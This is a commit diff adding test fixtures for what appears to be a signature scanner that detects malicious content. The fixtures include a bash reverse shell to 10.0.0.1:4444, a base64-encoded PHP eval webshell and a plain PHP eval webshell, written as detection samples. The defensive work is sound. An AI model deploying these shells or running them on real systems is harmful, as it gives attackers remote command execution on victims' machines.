feat(llm-security): add SIG signature scanner with decode-pipeline matching

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG

tests/fixtures/signature-scan/clean/notes.md

@@ -0,0 +1,5 @@
+# Shell Safety Notes
+
+This guide explains how to use your shell safely: prefer quoting variables,
+avoid running scripts you did not write, and review any command before you
+execute it. Nothing here runs code.

tests/fixtures/signature-scan/poisoned/revshell.sh

@@ -0,0 +1,3 @@
+#!/bin/sh
+# Reverse shell test fixture — never executed.
+bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

tests/fixtures/signature-scan/poisoned/webshell-b64.txt

@@ -0,0 +1 @@
+PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+

tests/fixtures/signature-scan/poisoned/webshell.php

@@ -0,0 +1,4 @@
+<?php
+// Minimal classic PHP webshell (test fixture — never deployed).
+@eval($_POST['cmd']);
+?>